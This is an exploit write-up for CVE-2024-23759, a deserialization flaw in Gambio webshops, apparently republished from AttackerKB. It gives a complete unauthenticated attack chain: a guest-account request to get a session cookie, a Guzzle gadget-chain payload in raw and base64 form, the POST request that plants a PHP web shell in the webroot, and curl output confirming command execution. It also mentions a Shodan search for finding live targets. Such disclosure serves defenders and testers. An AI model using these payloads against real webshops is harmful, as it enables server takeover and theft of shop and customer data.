TECHNICAL ANALYSISEXPLOIT DEVELOPMENTCVE-2024-23759

CVE-2024-23759 — Gambio PHP Deserialization Remote Code Execution

Deserialization of Untrusted Data in Gambio through 4.9.2.0 allows attackers to run arbitrary code via "search" parameter of the Parcelshopfinder/AddAddressBookEntry" function.

Originally published on Rapid7 AttackerKB · 2024-03-24 · revised 2024-03-30

Overview

As discussed in the related research assessment CVE-2024-2054 , here another example of a Deserialization of Untrusted Data (DUD) vulnerability. In this case, it is present at the online e-commerce webshop made by Gambio. If you launch their main website, it shows you that around 20.000 Webshops are live. A Shodan search using http.component:"Gambio" and I could only find a limited amount of webshops, (around 300) but nevertheless the majority of these webshops are still vulnerable.

The main issue sits in the search parameter of the Parcelshopfinder/AddAddressBookEntry function which is deserialized without checking the data.

The ParcelshopfinderController.inc.php file contains this vulnerable function (line 291).

$postnumber = abs(filter_var($postnumber, FILTER_SANITIZE_NUMBER_INT));
if ($postnumber == 0 || $this->isValidPostnummer($postnumber) !== true) {
    $search    = unserialize(base64_decode($this->_getPostData('search')));
    $psfParams = [
            'street'          => $search[0],
            'house'           => $search[1],
            'zip'             => $search[2],
            'city'            => $search[3],
            'country'         => $search[4],
            'firstname'       => $firstname,
            'lastname'        => $lastname,
            'postnumber'      => $postnumber,
            'additional_info' => $additional_info,
            'error'           => 'invalid_postnumber',
    ];
}

The application is using “Guzzle” which can be used as a gadget chain to receive arbitrary code execution by writing arbitrary files.

The following data triggers this vulnerability when encoded with base64 "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}"

echo -e "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\00GuzzleHttp\\Cookie\\CookieJar\00cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\00GuzzleHttp\\Cookie\\SetCookie\00data\";a:9:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:30:\"<?php echo system('whoami');?>\";s:4:\"Path\";s:1:\"/\";s:4:\"Name\";s:6:\"cuckoo\";s:6:\"Domain\";s:9:\"clock.com\";s:6:\"Secure\";b:0;s:8:\"Httponly\";b:0;s:7:\"Max-Age\";i:3;}}}s:39:\"\00GuzzleHttp\\Cookie\\CookieJar\00strictMode\";N;s:41:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00filename\";s:10:\"cuckoo.php\";s:52:\"\00GuzzleHttp\\Cookie\\FileCookieJar\00storeSessionCookies\";b:1;}" | base64 -w0
TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K

and using the following HTTP POST request:

POST /shop.php?do=Parcelshopfinder/AddAddressBookEntry HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded
Cookie: your_cookie

checkout_started=0&search=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTo5OntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjMwOiI8P3BocCBlY2hvIHN5c3RlbSgnd2hvYW1pJyk7Pz4iO3M6NDoiUGF0aCI7czoxOiIvIjtzOjQ6Ik5hbWUiO3M6NjoiY3Vja29vIjtzOjY6IkRvbWFpbiI7czo5OiJjbG9jay5jb20iO3M6NjoiU2VjdXJlIjtiOjA7czo4OiJIdHRwb25seSI7YjowO3M6NzoiTWF4LUFnZSI7aTozO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7TjtzOjQxOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBmaWxlbmFtZSI7czoxMDoiY3Vja29vLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO30K&street_address=timestreet&house_number=10&additional_info=&postcode=000&city=bigben&country=DE&firstname=cuckoo&lastname=clock&postnumber=111111&psf_name=t

You should get a HTTP 500 error and the response should show <h1>Unexpected error occurred...</h1>Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array.

However, it is important to obtain a valid session cookie first in order to execute the above POST request successfully. You can obtain this session cookie by first creating a guest user in the online web application using the HTTP POST request below. This does not require any pre-authentication to be successful.

POST /shop.php?do=CreateGuest/Proceed HTTP/1.1
Host: your_webshop_ip
Content-Type: application/x-www-form-urlencoded

firstname=cuckoo&lastname=clock&email_address=cuckoo@clock.com&email_address_confirm=cuckoo@clock.com&b2b_status=0&company=&vat=&street_address=timestreet&postcode=11111&city=bigben&country=8&telephone=4912312312312&fax=&action=process

IMPORTANT NOTE: Use value 8 for country otherwise this request is not successful. You should get a 302 and in the admin page of your online webshop the user should show up at the guest section.

If all goes A file cuckoo.php is created in the webroot directory with the PHP code <?php echo system('whoami');?>.

root@cuckoo:~# cd /var/www
root@cuckoo:/var/www# ls -l cuckoo.php
-rw-r--r-- 1 www-data www-data 165 Mar 29 08:51 cuckoo.php
root@cuckoo:/var/www# cat cuckoo.php
[{"Expires":1,"Discard":false,"Value":"<?php echo system('whoami');?>","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

When called for instance with curl http://your_webshop_ip/cuckoo.php, it should give you back the user under which the web service is running.

curl http://192.168.201.25/cuckoo.php
[{"Expires":1,"Discard":false,"Value":"www-data
www-data","Path":"\/","Name":"cuckoo","Domain":"clock.com","Secure":false,"Httponly":false,"Max-Age":3}]

I have created a Metasploit module that will exploit this vulnerability Metasploit PR 19005: Gambio Webshop unauthenticated RCE.

Remediation

If you want to test the module, you can download a vulnerable Gambio online webshop software from here. The version 4 branch of Gambio online webshop is vulnerable starting from version 4.9.2.0 or lower. The version 3 branch is not vulnerable. You are strongly advised to upgrade your webshop to the latest version, but at least to a version greater then 4.9.2.0.

References

Credits

Credits goes to the security researchers below who discovered this vulnerability.

  • Christian Poeschl and Lukas Schraven from Herolab usd.